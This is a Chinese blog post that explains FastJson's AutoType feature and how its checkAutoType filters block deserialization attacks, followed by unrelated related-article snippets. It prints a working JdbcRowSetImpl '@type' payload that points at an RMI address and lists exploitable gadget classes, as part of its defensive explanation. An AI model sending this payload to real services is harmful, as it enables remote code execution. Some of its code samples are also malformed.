v1.2.70-FastJson的AutoType机制研究

v1.2.70-FastJson的AutoType机制研究

最近在对接Alexa亚马逊语音技能,Smart Home Skill Apis时,有一个配置的JSON字符串是这样的:

     { "capabilityResources": {"friendlyNames": [{"@type": "asset","value": {"assetId": "Alexa.Setting.Opening"}}]}}

在开发配置,只当是一个普通的字符串;直到单测开始,在解析这行字符串成JSONObject对象的时候报错,同时也抛出了一个异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. asset

fastjson版本是:

        <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.70</version></dependency>

autoType is not support,是什么含义,为什么fastjson独对这个字符串进行了check设置了ParserConfig.checkAutoType方法?

auToType问题

首先简单的解释一下为什么序列化中需要 引入AutoType

假设存在一个类,和一个接口:

public interface Father{}
public class Son implements Father{private Integer age;
}

构建出Son类后,json会将类型抹去,只保留顶级接口类型,使之反序列化时拿不到原先的Son类。

因此FastJson中就使用了"@type":"com.xx.xx.Son"

指定json串反序列化时的类型;这种设置在Redis中也有体现,采用的是

{"com.xx.xx.Son","age":1
}

的形式.

那么就带来了一个严重的问题#

在FastJson反序列的过程中,会通过@type构造类,并且根据后续的key调用其setter方法。

那么有经验的人可能有解除过,JAVA中存在着大量的风险类:

  1. com.sun.rowset.JdbcRowSetImpl:这个类在被实例化时会自动连接数据库,存在潜在的安全风险。
  2. java.lang.Runtimejava.lang.Runtime类在被实例化时会自动获取运行时对象,可以用于执行系统命令。
  3. java.lang.ProcessBuilderjava.lang.ProcessBuilder类在被实例化时会自动启动一个进程,可能导致系统被恶意利用。
  4. javax.script.ScriptEngineManager:这个类在被实例化时会加载脚本引擎,存在潜在的安全风险。
  5. java.util.logging.FileHandlerjava.util.logging.FileHandler类在被实例化时会自动创建日志文件,可能导致文件系统被攻击。

拿例子最多,也是早年攻击最频繁的JdbcRowSetImpl一说:

将 JSON字符串

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://127.0.0.1:8888/Error","autoCommit": true
}

通过抓目标服务器JAVA,WEB应用的请求包,重新reSend一次;

然后jdk会在解析过程中构建 JdbcRowSetImpl 类,实现rmi远程调用的攻击;

不止如此,由于@type指定类的多样性,在获取到对方源码之后。

还可以通过此解析构造的模式直接从项目内部做出高危风险的操作。

因此FastJson在1.2.25版本后,推出完整的AutoType机制,开始了与黑客的 checkAutotype 博弈

CheckAutoType源码问题定位

因为每个版本的FastJson对checkAutoType都有大大小小的优化,贴图的代码版本是1.2.7

第一次过滤

1/

首先在1.2.68 版本中,引入的safeMode,为JSONObject对象初始化的时候会根据是否配置 fastjson.parser.safeMode 值进行开启安全模式,默认为false;在safeMode模式下,无论白名单和黑名单,都不支持autoType,这样可以杜绝反序列化Gadgets类变种攻击,需要通过ParserConfig.getGlobalInstance().setSafeMode(true); 开启

安全模式:取消 @type 指定类解析的机制

2/

下面的类型名>=192,小于<3,意义不明;

不过,围绕名字有一个有趣的地方;

因为事关类解析,所以fastjson没有对 @type:“xxxx”,xxxx为整形时的内容做任何限制;

所以

{"@type":"123"
}

是可以正常解析的

取消指定于3,则是???,意义不明

第二次过滤:

3/

这里为符号过滤,取第一个符号以及最后一个符号进行描述符检查,过滤字符串为 [L

这两个字符的含义是:

  • [ 字符:这个字符在 Java 中通常用于表示数组类型,恶意攻击者可能利用这个字符来构造恶意的数组类型,从而绕过安全检查,执行恶意代码。
  • L 字符:这个字符在 Java 中通常用于表示类的全限定名,恶意攻击者可能利用这个字符来构造恶意的类名,从而触发恶意行为。

1.2.43中进行的修复。

第三次过滤

4/

上一段为最暴力的黑名单过滤;

与黑客斗智斗勇中进化,从过去的类名名单判断,到现在使用hashCode散列存储的方式;

一是掩盖了当前黑名单的类,二是代码性能极大提高;

5/

下面一段先是使用通过typeNameINTERNAL_WHITELIST_HASHCODES 的计算寻址得到的boolean类型判断是否进入黑白名单的判断。

内部代码为,如果在白名单内则直接加载类,结束本次 checkAutoType

否则直接抛出异常

第四次过滤

6/

从deserializers、typeMapping、白名单中获得class;

判断其是否为解析目标时,指定类型的子类;

如果为否,则直接抛出异常;

AutoType关闭时过滤:

直接针对FastJson现有的黑名单以及白名单进行判断

最后一次过滤

针对类型的判断,高危接口:DataSource、RowSet、ClassLoader;

即使黑客前面绕的再好,也不会放开这三个涉及项目加载器,数据库DB的顶级接口;

最后也是判断一个构建出来的类是否已经存在了已经构建完成的构造器,如果存在,则一定是黑客为了绕开检车伪装的类。

因此重复构造直接抛出错误

总结

FastJson的漏洞与更新几乎都是围绕着checkAutoType进行,因为一款JSON化的工具,再本身性能难以再度突破的前提下,保证使用者的安全体验是衡量各个工具之间的重中之重。

但由由于FastJson在国内广泛的使用,而不管目前如何去更新,总有漏洞会为版本买单。

所以很多人也在Git上发起issues抗议这些问题:

讨论度也非常高,也有人不懂@type的存在意义。了解的人能知道,这也是无奈之举,像jackson中也引入了类型的@Class 关键字

大伙也需要给开源者,开源项目更多耐心;

在使用上,可以和开源这个项目的公司[阿里巴巴]一致,默认没有autoType或者直接开启安全模式一刀切

版权声明:本站原创文章,于2024-02-23,乐云一发表
转载请注明:https://leyunone.com/normal-notes/fastJson-warn.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/22931.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python图像识别库-pytesseract

内容目录 一、安装1.安装tesseract OCR1) MAC中安装2) Windows中安装3) 中文报下载 二、pytesseract的简单使用 pytesseract是python的一个用于图像提取的库, 它实际上是对Tesseract OCR引擎的封装。pytesseract使得在Python项目中调用Tesseract变得更加简便&#xff0c;主要用…

17K star,一款开源免费的手机电脑无缝同屏软件

导读&#xff1a;白茶清欢无别事&#xff0c;我在等风也等你。 作为程序员&#xff0c;在我们的工作中经常需要把手机投票到电脑进行调试工作&#xff0c;选择一款功能强大的投屏软件是一件很必要的事情。今天给大家介绍一款开源且免费的投屏软件&#xff0c;极限投屏&#xff…

Arthas调优工具使用

1&#xff0c;服务器端下载 curl -O https://arthas.aliyun.com/arthas-boot.jar 2&#xff0c;服务器端启动 java -jar arthas-boot.jar 选定要绑定的Java进程ID 3&#xff0c;本地idea安装Arthas idea 4&#xff0c;选定方法右键trace,生成命令 trace com.xxx.xxx.xxx.vouche…

C语言数据结构快速排序的非递归、归并排序、归并排序的非递归等的介绍

文章目录 前言一、快速排序非递归二、归并排序五、归并排序非递归总结 前言 C语言数据结构快速排序的非递归、归并排序、归并排序的非递归等的介绍 一、快速排序非递归 快速排序非递归的定义 快速排序非递归&#xff0c;需要使用栈来实现。将左右下标分别push到栈中。在栈为…

基于Tricore的Tasking链接文件解读

目录 1.链接文件有什么用&#xff1f; 2.文件结构和语法解析 2.1 文件结构 2.2 语法解析 3.小结 玩惯了ld文件&#xff0c;突然让搞lsl&#xff0c;被其中花里胡哨的语法搞晕了&#xff0c;例如&#xff1a; memory cpu0_dlmu{mau 8;size 64k;type ram;map cached …

腾讯中视频计划项目玩法,号称执行就有收入

腾讯中视频掘金计划是一个创新的短视频创作与分享平台&#xff0c;类似于西瓜视频&#xff0c;允许用户发布原创视频内容&#xff0c;并将其同步至腾讯旗下的多个平台&#xff0c;用户基数大&#xff0c;相信视频播放量也会比较大。 操作流程&#xff1a; 1. 注册并登录腾讯中…

深入对比:Transformer与RNN的详细解析

在深度学习领域&#xff0c;特别是在自然语言处理&#xff08;NLP&#xff09;中&#xff0c;循环神经网络&#xff08;RNN&#xff09;和Transformer模型都扮演着举足轻重的角色。然而&#xff0c;随着技术的不断发展&#xff0c;Transformer模型逐渐崭露头角&#xff0c;成为…

OrangePi 安装 CANN 套件及体验 AI 应用

CANN 环境安装&#xff08;桌面端跳过&#xff09; CANN 环境存在于下载页面的官方工具中&#xff0c;点击下载即可进入下载页面。 CANN 安装包就在倒数第二项&#xff0c;下载后传到开发板上。 给 CANN 安装包赋予运行权限并运行即可。 chmod x Ascend-cann-toolkit_7.0.0_l…

MQTT协议使用总结

MQTT是基于TCP/IP协议栈构建的异步通信消息协议&#xff0c;是一种轻量级的发布/订阅信息传输协议MQTT在时间和空间上&#xff0c;将消息发送者与接受者分离&#xff0c;可以在不可靠的网络环境中进行扩展。适用于设备硬件存储空间有限或网络带宽有限的场景。 物联网平台支持设…

2.1.4 采用配置类与注解方式使用MyBatis

实战概述&#xff1a;采用配置类与注解方式使用MyBatis 创建MyBatis配置类 在net.huawei.mybatis.config包中创建MyBatisConfig类&#xff0c;用于配置MyBatis核心组件&#xff0c;包括数据源、事务工厂和环境设置。 配置数据源和事务 使用PooledDataSource配置MySQL数据库连接…

kafka-消费者服务搭建配置简单消费(SpringBoot整合Kafka)

文章目录 1、使用efak 创建 主题 my_topic1 并建立6个分区并给每个分区建立3个副本2、创建生产者发送消息3、application.yml配置4、创建消费者监听器5、创建SpringBoot启动类6、屏蔽 kafka debug 日志 logback.xml7、引入spring-kafka依赖 1、使用efak 创建 主题 my_topic1 并…

DP动态规划(上)

文章目录 动态规划基本概念斐波那契数列问题C 实现Python 实现Java 实现 迷你结C、Python和Java在实现动态规划时有哪些性能差异&#xff1f;迷你结哪种语言在动态规划中更适合大规模数据处理?迷你结C有哪些知名的库适用于动态规划和大数据处理?动态规划辅助库大数据处理库 迷…

【网络协议 | HTTP】HTTP总结与全梳理(一) —— HTTP协议超详细教程

&#x1f525;博客简介&#xff1a;开了几个专栏&#xff0c;针对 Linux 和 rtos 系统&#xff0c;嵌入式开发和音视频开发&#xff0c;结合多年工作经验&#xff0c;跟大家分享交流嵌入式软硬件技术、音视频技术的干货。   ✍️系列专栏&#xff1a;C/C、Linux、rtos、嵌入式…

二叉树练习题(2024/6/5)

1翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1]示例 2&#xff1a; 输入&#xff1a;root [2,1,3] 输出&#xff1a;[2,3,1]…

dirfuzz-web敏感目录文件扫描工具

dirfuzz介绍 dirfuzz是一款基于Python3的敏感目录文件扫描工具&#xff0c;借鉴了dirsearch的思路&#xff0c;扬长避短。在根据自身实战经验的基础上而编写的一款工具&#xff0c;经过断断续续几个月的测试、修改和完善。 项目地址&#xff1a;https://github.com/ssrc-c/di…

运维开发介绍

目录 1.什么是运维开发 2.作用 3.优点 4.缺点 5.应用场景 5.1.十个应用场景 5.2.网站和Web应用程序 6.案例 7.小结 1.什么是运维开发 运维开发&#xff08;DevOps&#xff09;是一种结合软件开发&#xff08;Development&#xff09;与信息技术运维&#xff08;Opera…

什么是回调函数?callback()

首先要知道一个点就是 在js中&#xff0c;函数是可以作为函数的参数传递的 所以其实回调函数 就是这个传进去的参数 其实回调函数的本质样子和普通函数是一样的 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8">…

embedding层的理解

一文读懂Embedding的概念&#xff0c;以及它和深度学习的关系 - 知乎 (zhihu.com) 感觉这篇知乎真的大道至简。个人感觉embedding层和普通的线性层没有什么区别~就是为了降维和升维用的。也就是向量的维度变化&#xff01;

基于SOA海鸥优化算法的三维曲面最高点搜索matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 基于SOA海鸥优化算法的三维曲面最高点搜索matlab仿真&#xff0c;输出收敛曲线以及三维曲面最高点搜索结果。 2.测试软件版本以及运行结果展示 MATLAB2022A版本…

Wireshark抓包工具使用 项目实战

Wireshark 是一个开源的网络协议分析器&#xff0c;它可以让你捕获和分析网络数据包&#xff0c;帮助你诊断网络问题、监控网络流量、分析协议和进行安全审计。以下是一些基本的 Wireshark 用法&#xff1a; 捕获数据包&#xff1a; 打开 Wireshark&#xff0c;选择要捕获数据包…